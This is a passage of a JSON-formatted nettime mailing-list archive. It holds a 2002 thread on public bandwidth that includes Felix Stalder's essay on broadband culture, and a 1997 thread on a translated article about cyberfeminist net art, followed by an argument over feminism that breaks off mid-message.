                        "content": "\npit,\n\nit is good that you raise the issue again.\n\n>it is one thing to make a \"we want bandwidth\" campaign\n>sucessful, it is another to find 'open' ways to\n>distribute and allocate available public bandwidth\n>usefully once you got a lot of it from your local\n>cultural authority... so far institutions of\n>media culture do not see their role in the tradition\n>of a project like www.archive.org  maybe that can\n>be changed?\n\nnot entirely true. some of the dutch institutes connected to the Virtual\nplatform (www.virtueelplatform.nl) - including De Waag in amsterdam and V2_\nin rotterdam - have only just been connected to the academic broadband\nnetwork after *5 (five)* years of discussion - and this was for nationally\nacclaimed institutions with a clear research record. it is their goal to\nuse this coonectivity as a foot-in-the-door also for other cultural\nprojects and not-for-profit content providers, but i doubt whether this\nwill happen very quickly.\n\nneedless to say, even with such a slow development the NL are once again\nway ahead of other countries. in germany it is an interesting discussion\nwhether the government-funded platform 'netzspannung.org' should not be\nused for the kinds of projects that you have in mind. where, if not there?\nwhy not there?\n\nbest regards,\n-a\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00105",
                        "date": "Wed, 19 Jun 2002 19:40:57 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200206210118.VAA31000 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00105.html",
                        "content-type": "text/plai",
                        "author_name": "Andreas Broeckmann",
                        "subject": "Re: <nettime> where has all the bandwith gone?"
                    },
                    {
                        "from": "Morlock Elloi <morlockelloi {AT} yahoo.com>",
                        "content": "\n\n>it is one thing to make a \"we want bandwidth\" campaign\n>sucessful, it is another to find 'open' ways to\n>distribute and allocate available public bandwidth\n\nI doubt that \"public bandwidth\" exists at all.\n\nBits travel over wires and then switches and routers. Someone made those things\nand pays for maintenance. The infrastructure is not public by any strech of\nimagination.\n\nHuge money is made on taxing and licensing moving bits. There is nothing\n\"public\" about it. The money is shared between the local force monopoly (state)\nand the carrier. You just pay. Neither entity gives a fuck for providing you\nwith more bandwidth if there is no incentive for them behind it.\n\n\n>usefully once you got a lot of it from your local\n>cultural authority... so far institutions of\n\nI shudder at the mere thought of local cultural authorities.\n\nSometimes US of A seems so healthy.\n\n\n\n\n=====\nend\n(of original message)\n\nY-a*h*o-o (yes, they scan for this) spam follows:\n\n__________________________________________________\nDo You Yahoo!?\nYahoo! - Official partner of 2002 FIFA World Cup\nhttp://fifaworldcup.yahoo.com\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00111",
                        "date": "Thu, 20 Jun 2002 23:08:14 -0700 (PDT)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200206211434.KAA16427 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00111.html",
                        "content-type": "text/plai",
                        "author_name": "Morlock Elloi",
                        "subject": "Re: <nettime> where has all the bandwith gone?"
                    },
                    {
                        "from": "elix Stalder <felix {AT} openflows.org>",
                        "content": "\n\nI recently wrote a piece on the culture of broadband for the London-based\nMute Magazine (http://www.metamute.com) that seems to fit into the current\nbandwidth discussion.\n\n\nTHE CULTURE OF BROADBAND\nRemember the 1990? Technology was supposed to revolutionize everything in\none fell swoop, finally eradicating all those pesky problems that bedevil\nmodern life. The fulfillment of all our needs and wants was just around the\ncorner. No one sang the praise of this revolution higher than George\nGilder, the messiah of bandwidth, who dreamed of the \"telecosm\" with its\n\"crystal cathedrals of fiber.\" Unfortunately, that didn't exactly pan out.\nLife is still not hassle-free and these days broadband makes headlines with\nspectacular bankruptcies and lousy service, rather than as the road to\nsalvation.\n\nAs usual, the future doesn't descend on us fully formed, rather it arrives\nlimping. It's a messy mix of incompatible standards, buggy technologies,\nand a nagging uncertainty whether the real thing is still coming or whether\nit's already over. But one overpriced cable connection, one hard-to-install\nDSL or ISDN link, one experimental wireless network at a time, broadband is\nbecoming an unequally distributed reality; and the contours of this reality\nare emerging.\n\n\nTHE GOOD\nThe Internet's architecture used to be based on the model of client and\nserver. The server runs on a powerful machine that is continuously\nconnected to the network. It stores the data and services that are\nrequested by the client. The client is relatively weak and sporadically\nconnected to the network, a browser displaying the web through a dial-up\nconnection.\n\nBroadband supports a new network architecture: peer-to-peer. Contrary to\nthe old dial-up, broadband connections are always on, even at home. Add to\nthis the power of an average PC which has increased to a level that it can\nas well double as a simple server and still do all the work of a normal PC.\nBoth clients and servers are now running on powerful, continuously\nconnected machines.\n\nFile sharing was the first application to define the culture of broadband.\nImagine Napster on dial-up. Impossible.  However, file sharing is not the\nonly peer-to-peer application. Any aspect of a computer, not just its\ncontent, can be shared or pooled amongst peers in a broadband network. The\nsharing of processing power, CPU cycles, is the next obvious example. The\nclustering of PCs can bring supercomputing power to people and problems\noutside elite research centers. When the search for extraterrestrial\nintelligence was abandoned by NASA, seti {AT} home revived it without any of\nNASA's high-end machines. Rather, it distributed the number-crunching\nacross thousands of normal PCs, each doing a small segment of the job in\nparallel. Internet users volunteered spare capacities of their machines for\nthe thrill of peering into deep space and having a cool screen saver. More\nsuch applications are popping up: brute force attacks on encryption keys -\nuntil recently the domains of super expensive super computers - are now\nfeasible in a network of clustered PCs. All that is needed is a program for\ncoordinating the distribution of tasks and a pool of volunteers, both not\nvery hard to find. Other peer-to-peer architectures such as Freenet, an\nanonymous publishing network, share storage space across the network,\nmaking it in effect impossible to physically locate files because they move\nfreely from peer to peer across the network.\n\nBroadband's propensity towards peer-to-peer is good news for anyone\ninterested in distributed applications. Is this return of the Internet\nutopias?\n\nTHE BAD\nOf course, not everyone sees broadband as the enabler of decentralized,\nbottom-up computing. On the contrary, most of the companies that lay down\nthe infrastructure have a very different, decidedly top-down vision:\nInteractive TV.  For them, broadband means pumping out massive video files,\na kind of rerun of the video-on-demand failures of the 1980s. Across all\ntechnological changes, this persistent vision has one constant component:\npay-per-view.\n\nThe slump in advertisement is not (only) what puts pressure on companies to\ncharge users for access to their content. It's the broadband environment\nitself. Bandwidth, despite all excess capacities, is expensive and pumping\nout video streams to the masses eats up a lot of it. Don't expect any\nprovider without deep pockets to do that for a long time. Contrary to\ntraditional broadcast, Internet streaming scales poorly. Each new user\ncosts extra, because each users draws an individual feed. The more users\nthe higher are the bandwidth costs. Giving away multimedia content is\nprohibitively expensive. Moreover, as the media files become richer, the\nproduction costs rise. Shooting a great video tends to be more expensive\nthan writing a good text.\n\nBoth of these factors are driving the slow emergence of the pay-per-view\nInternet, despite user reluctance. RealNetworks, for example, claims to\nhave attracted about 500,000 people for the its pay-per service. For $10\nper months, subscribers get access to rich media content from ABCNews.com,\nCNN.com, and other majors. The \"Passport\" platform - a one-stop digital\nidentity service managed by our friends at Microsoft - is all about making\nthe pay-per-use vision seamless and \"user friendly.\" Pass me the popcorn,\nplease.\n\nTHE UGLY\nAs the content companies begin to implement pay-per-use services, they want\nto know a lot more about their users: where are they going, how long are\nthey staying there, are they paying for content, or engaging in \"piracy?\"\nThanks to mergers and alliances content providers and ISPs have become\nclosely aligned, if not the same altogether. AOL Time Warner is, perhaps,\nthe most extreme case, but it is representative for this general trend of\nconvergence. This comes in handy for monitoring the users' online behaviour\nfor billing purposes.\n\nIt also helps to construct \"walled gardens\", that is, deliberately divide\nthe network into favoured and disadvantaged zones. One way of building such\nwalls is to make access to services offered by the same conglomerate or its\ncorporate partners faster than to those offered by competitors. This can be\ndone with the help of a new generation of \"intelligent\" routers that\nenables the network owners to deliver some data packets faster than others.\nFor instance, Time magazine might load faster than Newsweek for AOL\ncustomers in the future. While this is not out-right censorship, it will\ncertainly affect browsing patterns, particularly since, the manipulation is\nvirtually invisible to the end user. Whether or not providers are allowed\nto twist access in such ways depends a lot on regulation. Cable companies,\nfor example, tend to be are under little or no obligation to treat all\ntraffic equally, whereas telecom companies have traditionally been bound by\nlaws to act as \"common carriers\" that must provide the same quality of\nservice to everyone.\n\nAnother potentially ugly side of broadband culture is paranoia. With home\ncomputers permanently connected to the network, a whole new class of\nInternet users can become targets of malicious hackers. Most users lack the\nskills to secure their own machine. They are especially at risk to have\ntheir machines compromised and, for example, turned into launching pads for\nmore serious attacks. Here's where the paranoia sets in. As more users feel\nthreatened by something they essentially do not understand, popular support\ncould increase for though new law enforcement measures. For the majority of\nusers, it will be easier to support harsher penalties than to maintain\ncomplex firewalls. The overhyped threat of hackers can easily be turned\ninto a more general attack on civil liberties online. Together, the push\ntowards pay-per-use and an escalating fight against \"hackers\" and \"pirates\"\nmight squeeze privacy out of the emerging culture altogether.\n\n\n\nHOW GOOD, HOW BAD AND HOW UGLY?\nThe contours sketched here don't add up to a coherent picture. The culture\nof broadband is still emerging, rather than already fully formed. To some\ndegree, distributed peer-to-peer services and pay-per-use services are\nconflicting with each other. Even after being acquired by Bertelsman,\nNapster is still off the wires, because the underlying conflict between\nfreedom and control is hard to resolve. Technologies and their applications\nare still in search of a stable configuration. However, concerted action\nwill be necessary to support the good, avoid the bad and battle the ugly.\n\n\n--------------------++-----\nLes faits sont faits.\nhttp://felix.openflows.org\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00113",
                        "date": "Thu, 20 Jun 2002 23:05:45 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200206211423.KAA16094 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0206/msg00113.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "Re: <nettime> where has all the bandwith gone?"
                    }
                ],
                "message-id": "200206170118.VAA04358 {AT} bbs.thing.net",
                "date": "Sun, 16 Jun 2002 03:20:07 +0200",
                "content-type": "text/plai"
            }
        ],
        "desc": "..."
    },
    "Cyberfeminism": {
        "lists": [
            {
                "id": "00111",
                "content": "\nThe vagina is the boss on internet\n\nNew media female artists inspired by erotics, identity and social interaction\n\nSurfing on the internet I find the \u0091Virtual Themepark\u0092 from the most\ninteresting cyberfeminist artist group VNS Matrix. It all sounds very\npromising and as a hetero woman I click on the Viral Pleasureworld. I am\ndissappointed, because I do not find any beautiful naked men on the screen,\nbut a universe with purple planets and the text \u0091Viral Pleasure World\u0092. As\nsoon as I want to continue I always come back on the first page. Only at\n\"The end of the World\"  I finally get to the \"Filthy Genderworld\" where I\nsee a group of tiny little people who are licking eachother. Furtheron I\nstep on Gashgirl\u0092s homepage, who\u0092s real name is Francesca da Rimini. This is\none of the ladies from VNS Matrix. On this page I finally find some more\n\u0091information\u0092 about their work: wordmixture of textfragments from\nSM-stories, filmtitles and computerterminology that are connected to\neachother. The title above this page says enough: \"GenderFuckMebacy\u0092s palace\nof Unparalleled Cynicism\", oldfashioned artistic enigmas that are larded\nwith sensual quotes, to which\u0092s meaning you can quest for hours and hours\nbeing an outsider.\n\nCyberslut\n\nVNS (VeNuS) Matrix wants to create confusion. The four Australian ladies\nwant to make chaos in the standards and values from today\u0092s society, because\nthey do not agree with the woman\u0092s status within. They make electronic art\nthat questions the computer mass culture and her products in a playfull but\nbrutal feministic way. VNS matrix acts on a humorous way against men\u0092s\nwomen-unfriendly and sexistic outbursts on the internet. These\ncyberfeminists are not afraid to use any means to achieve their aim. So they\nare not agianst sex, porno or even against men. They think that it is only\njust about time that women take control on the internet from men, because\nmen behave badly. Still too many women suffer from obscene remarks. \n\nThe Corpus FantasticaMOO, an internet game, illustrates clearly how obscene\ncreeps should be punished. VNS Matrix, virtually pierced, masked, harnesed\nand weaponed with the most horrible torturestuff, enters dark\ninternetsurroundings by psuedonyms like Psybapussy and Cyberslut. There they\nterrorize everything male as soon as it logs in in this Tartaros-like\ndomain. Someone who entered as Quentin Tarrantino, for example, was almost\nsent to the virtual heaven by Psybapussy\u0092s dangerous C46-weapon. The girls\nare the boss and their feminity is sacred. The core of their realm, the\nMatrix, can only be reached by the virtual clitoris. The vagina is the\nsymbol of the female power. In their \"Bitch Mo Manifesto\" the ladies swank\nabout making art with their cunt. Their pussy is also capable of fighting\nagainst \"Big daddy mainframe\". \"Big Daddy Mainframe\" is the symbol of the\nmale society, that is still dominating both the real and the virtual world.\nThe \"Mainframe\" is also a widespread product of computertycoon IBM.\n\nThe art of these cybervamps is at it\u0092s most beautiful in their fantastic\nprojects, that are based on internet- and CD-rom games like Quest and Doom.\nIn 1995 they made in cooperation with the artist Leon Cmielewski an project\nnamed \"The user unfriendly interface\", where as many as possible people\nshould be insulted. On these beautiful pages it was not allowed to click\nanything. When someone was naughty and clicked anyway, the computer yelled\nangry at this person and the buttons changed into insects that walked away\nfrom the screen. People also had to fill in their dreams and desires, so\nthat the program could curse and jeer at them. This program was not meant to\nbe an attack to the male society, but to the dominating commercials and the\nstandard mass products, that always have to be userfriendly.\n\nThe game of communication\n\nVNS Matrix is also trying to investigate in what way the game is a symbol of\nsocial interaction in cultural life. Is pleasure an important condition to\nexperience art? Interactivity gives one the power to interfere in a work of\nart. The non feminist artist Agnes Heged\u00fcs sees the new media as an\ninteresting territorium for investigation in the field of social\ninteraction. In the new media raises a new culture of games, that is both\ninteractive and telematic. She thinks it is special that everyone can pick a\ndifferent identity. The result is that communication via internet is more\nplayful than in real life. The internet is a game of seduction. Not the\nseduction of being connected on a distance is addicting, but the mysterious\nrendez-vouses of people gives a sexy kick. On internet people can meet\neachoter without being seen, they can pretend to be anyone in any way.\n\nHeged\u00fcs\u0092 \"Televirtual Fruitmachine\" from 1994 is based on this playful\ninteractive aspect. De instalation is a big screen on which three puzzle\npieces of a fruit machine are projected. In front of the screen are three\ntables with a joystick. Three different people can join into this game at\nthe same time. The fruit is refering to the forbidden fruit from Paradise\nand seduction. In contrast with VNS Matrix, who wants to see the new digital\nworld dominated by women, Heged\u00fcs does not think that is necessary. When the\nman and woman identity can be swapped in the virtual space, the\ngenderidentity will be less important. The idea of genderswap with the help\nof the media was allready being issued by Marcel Duchamp, who let himself\nbeen photographed as Rrose Selavy (Eros c\u0092est la vie): travesty as sexual\npleasure.\n\nMetamorphosis\n\nThe body will be less relevant accoring to the Australian artist Jill Scott:\nby means of technique we will be nomads in both the body and the soul. She\nthinks technique is very fascinating and she illustrates that very\nbrilliantly in her gorgeous interactive film-installation \"Frontiers of\nUtopia\" from 1995. The ill Zira does not live in the real world: everything\nshe does is via the computer: working communicating and living, for this is\nthe only way to forget that her body is soon going to die. In this\ninstallation the visitors can \"setup a dialogue\" with women who are in this\nfilm. These women come from different areas of the 20th century and tell\nthings about their ideal society. Emma from 1900 hopes for freedom for\npublic opinion, Pearl from 1930 is dreaming of  equality of race, Gillian\nfrom 1960 thinks of technical advance in socialist society and Zira from the\n90ties believes that the technique can solve all problems. \n\nThanks to technique the body can be improved. This theme is very popular\namong feminist artists. Even when a woman is not ill, her body needs to be\nimproved by technique. The dutch artist Inez van Lamsweerde is hackling\nartificial bodily changes from healthy females, by making beautiful\nridiculous computerpictures on which she used photomodels and\nwindow-figures. The female figures on her photo\u0092s have something unreal: in\nthe series \"Thank you Tighmaster\" from the early nineties Van Lamsweerde\nstuck doll\u0092s eyes on a woman\u0092s face. She thinks too many woman cannot be\nthemselves anymore, but have to look like Barbie.   \n\nBitter Herb Menu/Brutal Myths\n\n\u0091The cosmedical industry is a form of keeping women surpressed\" claim the\namerican artists Sonya Rapoport and Marie Jos\u00e9 Sat. The reason why men\ndominate women is because they are scared of them. That is why women were\ncalled witch. \"The firsts woman Eve was allready called bad and even the\nmost evil woman that has ever lived\" is one of the ancient myths that was\ngoing around in the middle ages according to Sat and Rapoport. They say,\nthat this myth is still going on in the arabic countries and that\u0092s why the\nwomen do not get any political chance over there, and that is why woman in\nsome countries are being circumcised. This is a primitive form of cosmedical\nsurgery. In the western world women are forced upon strict diets and\ncosmedical surgery.  \nThe Bitter Herb Menu is a metapher for the so called badness of women. In\nGenesis, Sat and Rapoport continue, God condemned mankind to work at the\nfields and to eat the harvest. That iss why these artists choose for the\nherbal witchcraft as a symbol for the wholesome harvest of women, because in\nearly times women were seen as spiritual curers in ancient times. This has\nchanged later in the middle ages, when spiritual curers were seen as\ndangerous witches.  The first part of the website \"Brutal Myths\" describes\nwhich bitter herb poisons the mind of the man, so he will believe that women\nare bad. In the second part of the digital work of art is the healthy herbal\ngarden with wholesome herbs.\n\nVagina Dentata\n\nOn the Bitter Herb Menu one can find the bitter herb \"cleavers\", which lets\na vagina eat a penis. The principle of the Vagina Dentata, the mighty and\nmale-swallowing vagina is to be found in different cultures. Because men are\nafraid of this Vagina Dentata, women are being circumcised, so that they\ncannot urinate in a normal way or enjoy sex. The liberation of women is to\ntake revenge of them by castration, says the Bitter Herb website. The herb\nthat is punishing men so severely is called Heartsease. The Vagina Dentata\nis a beloved subject among cyberfeminist artist, because it is the ultimate\nsymbol of destroying male power. Women can be in charge then. The Bitter\nHerb menu sees the Vagina Dentata in a mystique and occult context. But VNS\nMatrix sees the vagina Dentata in a playful way as a vampire like tart, who\nis called Dentata. Dentata has to shoot men in the \u0091Cybersquat\u0092, a virtual\ngame surroundings from VNS Matrix.\n\n\tInteractive rituals in the Bitter herb Menu, that are made by the visitors,\ncontribute to the destruction of the myth of women being evil and calm the\nphobias of men. Sat and Rapoport think that in this way they are\ncontributing to the development of the World Wide Web as a new artistic\ntechnological medium, that is free from sexual prejudices and differences,\nso that the reputation of women can be purified.\n\nCommon Ground\n\nThe internet is a free space and that is why women can take advantage of\nthat. Sonya Rapoport sees the web as free and easy to give a presentation\nfrom feministic art. She hopes to reach also people who would otherwise\nnever go to an exhibition. She is striving to a kind of common ground: a\nvirtual space linked to different female artists. The dutch artist Mathilde\nMup\u00e9 has allready made links on her homepage to different feminists in\ncyberspace. The german video artist Ulrike Rosenbach and the american art\ncritic Lucy Lippard have allready set up feministic art institutes in the\nseventies where female artists could cooperate. \n\nMuch female artists see the internet as a possibility to communicate in a\nrole playing game, where people can change their gender. Some feminist\nartists want to gain power over men on the inernet. For them the game of\nsexuality is a form of power instead of romance. The sexual organ is not\nonly capable of enjoying sex, but also of urinating, multiplying and\ndividing the human race into the suppressed and the dominating species.\nThese feminist artists see the internet as an opportunity to be the boss on\ninternet. They do not want to lose their gender, but they want to gain\ndominance over the male in their female glory. The gender identity should\ntherefore be emphasized according to them. The question is whether this is\nstill relevant in an age of androgyny and transsexuality, because the body\ncan also be changed in today\u0092s society. \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nCheck mijn nieuwe artikel over \"De Vagina is de baas op internet\"\n\nhttp://utopia.knoware.nl/users/sigorney/vagi.htm\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00111.html",
                "list": "nettime_l",
                "author_name": "Anne de Haan",
                "subject": "<nettime> Translation: The vagina is the boss on intern",
                "from": "Anne de Haan <sigorney {AT} knoware.nl>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "from": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                "content": "\nGive it back...\n\n> Peter,\n> \n> I think you are very right about this and I think that other people should\n> know this too. That's why I am sending this to the nettime list.\nI agree, but on the other hand may mail box is quite full with all nettime\ndiscusions, so how can the others cope with that. It's imposible to read\nall the things, while some mails are very (too) long. The thing about new\nmedia is that text informations should be short and precise, the long\nstories should be printed. I just can't use computer as a book, my eyes\nget sore. It's a multimedia machine. \n\n> I wrote this article because I wanted to write something about feministic\n> art on the internet and not because I am an feminist. Althought I think that\n> the ideas behind the feminist arts are very interesting, I do not agree with\n> them. I also think that men and women should be equal.\nWhat is feminist art? It's a kind of statement. But on the other hand, if\nyou look global, there are about 51% of women and 49% of men on the world.\nSo women are majority (tipical in racism is dictatorship of majority on\nminority). I'm O.K. with that, but I think a lot of feminist artist don't\nget it. It was funny when a guy on the LEAF meeting in Liverpool this year\npointed out, when there was 'women-only' meeting, that it would be maybe\nmore relevant to have 'shy-only' meeting, because somebody said that one\nof the women attributes is shyness. Are men not shy? Don't you think I can\nmake feminist art as you can do the macho one? Specialy on the net. Art\nis trans-... Everything else is and excuse and pure activism. Sexism is\nfar out. And the worst is that personal shit is then abstracted to whole\npopulation. Aren't we individuals? There are differences between people,\neveryone is different person. And of course there are shitty women and\nshitty men. \n   \n> I left my opinion out of the article, because I wanted to give a kind of\n> objective prescription, maybe I should have given more of my own opinion\nBut I got your opinion and I'm supporting it. \n\nBest,\nPeter\n\n \n \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00122",
                                "date": "Tue, 17 Jun 1997 11:09:17 +0200 (MET DST)",
                                "to": "Anne de Haan <sigorney {AT} knoware.nl>",
                                "message-id": "Pine.LNX.3.95.970617103828.858A&#45;100000 {AT} server.nd&#45;mb.si",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00122.html",
                                "content-type": "text/plai",
                                "author_name": "Peter Tomaz Dobrila",
                                "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                            },
                            {
                                "follow-up": [
                                    {
                                        "from": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                        "content": "\nHi there!\n\n> I just wanted to note briefly, that there is hardly any statement that I\n> find more insidious and offensive, when not outright simplistic and\nAt the end I wrote i.e. - in example. So I didn't mean just that, there\nis others personal shit as well. But you can't blame it on the whole world\npopulations.  \n\n> Feminists are reponding to *institutional* sexism, and fighting against\n> sexism constitutes neither the airing of dirty laundry nor the promotion of\n> sexism itself.   Many people are feminist before they even have any\n> \"partners\" to be \"angry\" about -- for example, my first feminist awakening\n> involved the way that *teachers* treated me in math and science classes in\n> my pre-teen years.  There's no bitterness over boyfriends there; rather, it\n> is justified anger at a world that assigns females a presumption of\n> incompetence while assigning males, at the same time, a presumption of\n> competence.   The goal is to break down barriers and promote equality, and\n> I think that you badly misrepresent feminism as it is known to the great\n> majority of people, both male and female, who identify as feminist, by\n> insisting otherwise.\nAlright. You don't like *teachers*. I don't like some of them either. You\ncan identify as you like. Feminist is O.K. I'm Marsian, two heads and\nwings, little green creature. But on the other hand I'm Peter Tomaz\nDobrila and nothing else. Please to meet you Rebecca. Give those teachers\nnames. Some car drivers are even worse. So what to do?\n \n> That said, I did actually have an objection to the circulated \"Vagina\"\n> post.  In my opinion, as well as my best understanding of the nature of\n> biology and human sexuality, the female body part that is most analagous to\n> the penis is the *clitoris* rather than the vagina.  It is a fairly common\n> complaint among feminist scholars (and has been for a while, in particular\n> in reaction to Freud's terrifyingly absurd assumptions about female\n> sexuality) that a focus on the vagina, rather than on the clitoris or the\n> vulva in general, looks at female sexuality from the point of view of a\n> penis in search of a hole.  This is not to insist that the vagina is\n> irrelevant to sexuality for all women, but rather, it is to make the\n> argument that, if you are going to reclaim space for women, and then\n> identify women with the sexual organ where their sexual response is\n> generally considered to be located, the clear choice would have been\n> clitoris rather than vagina.\nGreat! Sigmund Freud was a wanker. But debate about penis, vagina and\nclito is unfamiliar to me. Don't we have more in our bodies? Toes, liver,\nheart, brain, arms, legs, feet, head, kindeys, eyes, ears, smell,\nvoice, touch, etc. Isn't it all involved in our whole behaviour, work,\nsex, etc.? \n\nBest,\nPeter\n\n   \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                        "id": "00125",
                                        "date": "Tue, 17 Jun 1997 12:00:02 +0200 (MET DST)",
                                        "to": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                                        "message-id": "Pine.LNX.3.95.970617113922.858H&#45;100000 {AT} server.nd&#45;mb.si",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00125.html",
                                        "content-type": "text/plai",
                                        "author_name": "Peter Tomaz Dobrila",
                                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                                    },
                                    {
                                        "from": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                                        "content": "\nAt 12:00 PM +0200 6/17/97, Peter Tomaz Dobrila wrote:\n>Hi there!\n>\n>> I just wanted to note briefly, that there is hardly any statement that I\n>> find more insidious and offensive, when not outright simplistic and\n>At the end I wrote i.e. - in example. So I didn't mean just that, there\n>is others personal shit as well. But you can't blame it on the whole world\n>populations.\n\n\nIn the United States, the accepted meaning of i.e. is \"that is.\"  This is\nvery different from \"for example,\" which is signified by \"e.g.\".\n\nRegardless, the point stands that feminism is not about revenge against bad\nmen.  It is about a social movement that promotes equality of the sexes,\nand that actively fights against sexist stereotyping.  Period.  If I read\ncorrectly, you yourself insisted that you were \"not a feminist\" (a\nconclusion that could have been inferred from context had it not been\nstated explicitly).  Given that, how can you justify trying to define my\nsocial movement?    It is offensive.\n\nWho is blaming sexism on \"the thole world populations <sic>\"?  What I\nstated clearly, and what I repeat again, is that feminism is about\npromoting equality of the sexes, and striving to acheive a world where\nopportunity is not restricted on the basis of sex and/or gender.   The fact\nthat the majority of the people who live in this world take part in a\nsexist culture of some sort does not change the goals of the movement,\nwhich are to enact change and promote equality.\n\n\n\n>\n>> Feminists are reponding to *institutional* sexism, and fighting against\n>> sexism constitutes neither the airing of dirty laundry nor the promotion of\n>> sexism itself.   Many people are feminist before they even have any\n>> \"partners\" to be \"angry\" about -- for example, my first feminist awakening\n>> involved the way that *teachers* treated me in math and science classes in\n>> my pre-teen years.  There's no bitterness over boyfriends there; rather, it\n>> is justified anger at a world that assigns females a presumption of\n>> incompetence while assigning males, at the same time, a presumption of\n>> competence.   The goal is to break down barriers and promote equality, and\n>> I think that you badly misrepresent feminism as it is known to the great\n>> majority of people, both male and female, who identify as feminist, by\n>> insisting otherwise.\n>Alright. You don't like *teachers*. I don't like some of them either. You\n>can identify as you like. Feminist is O.K. I'm Marsian, two heads and\n>wings, little green creature. But on the other hand I'm Peter Tomaz\n>Dobrila and nothing else. Please to meet you Rebecca. Give those teachers\n>names. Some car drivers are even worse. So what to do?\n\nThat is patently absurd.  Feminism is not a fight against \"teachers.\"  Many\nteachers were *not* that way.  Feminism is a battle to break down sexist\nstereotyping, and what I gave an example of was the stereotype that insists\nthat women are not competent in math and science, and that succeeds, to\nthis day, to keep unjustly  many highly qualified women out of lucrative\nand challenging occupations.  To the extent that individuals are hired\nand/or promoted based on their sex rather than based on the quality of\ntheir work (and to deny that this happens is to look blindly upon the\nworld) helps no one because it promotes an inefficient marketplace and\ninhibits the full range of human and technological progress.\n\nYou are Peter, but you are also male, and you have benefitted from being a\nmale, in some way or other in your life, whether you admit that or not.\nPerhaps you have benefitted only from the fact that you need not actively\nfear rape as you walk down a city street at night; or perhaps you have\nbenefitted from that fact because you have a much better real opportunity\nto become an elected member of the government (at least if you were a US\ncitizen) than your female colleagues.  But you have benefitted.\nPersonally, I strive for a world where gender, the social contruct, does\nnot exist at all, and in which we can all be viewed as individuals first,\nand male or female (or hermaphrodite) as one of our many other individual\ntraits.  But we are not there yet, Peter, and denying the existence of\ninstitutionalized sexism brings us no closer to that final goal.\n\n\n\n>\n>> That said, I did actually have an objection to the circulated \"Vagina\"\n>> post.  In my opinion, as well as my best understanding of the nature of\n>> biology and human sexuality, the female body part that is most analagous to\n>> the penis is the *clitoris* rather than the vagina.  It is a fairly common\n>> complaint among feminist scholars (and has been for a while, in particular\n>> in reaction to Freud's terrifyingly absurd assumptions about female\n>> sexuality) that a focus on the vagina, rather than on the clitoris or the\n>> vulva in general, looks at female sexuality from the point of view of a\n>> penis in search of a hole.  This is not to insist that the vagina is\n>> irrelevant to sexuality for all women, but rather, it is to make the\n>> argument that, if you are going to reclaim space for women, and then\n>> identify women with the sexual organ where their sexual response is\n>> generally considered to be located, the clear choice would have been\n>> clitoris rather than vagina.\n>Great! Sigmund Freud was a wanker. But debate about penis, vagina and\n>clito is unfamiliar to me. Don't we have more in our bodies? Toes, liver,\n>heart, brain, arms, legs, feet, head, kindeys, eyes, ears, smell,\n>voice, touch, etc. Isn't it all involved in our whole behaviour, work,\n>sex, etc.?\n>\n\n\nThere are many errogenous zones in the human body, both male and female,\nand NOTHING I wrote suggested otherwise.  But a focus on the vagina is\nclearly phallocentric, and a decision not to even mention the clitoris --\nwhich, I repeat, is where female sexuality is said to be \"centered\" in a\nway analogous to the male centering of sexuality on the penis -- is not\ntrivial.    No act of sexism is trivial, and I must repeat that I find\nhardly any action more pernicious than the denial that sexism exists.\nSexism exists.    The fact that you, personally, have perhaps never felt\nthe direct harms of sexism only provides evidence of the fact that sexism\ndivides the world by gender, and assigns the burdens and benefits\ninequally.  The fact that many women (most of them much younger than I am)\nand perhaps most men 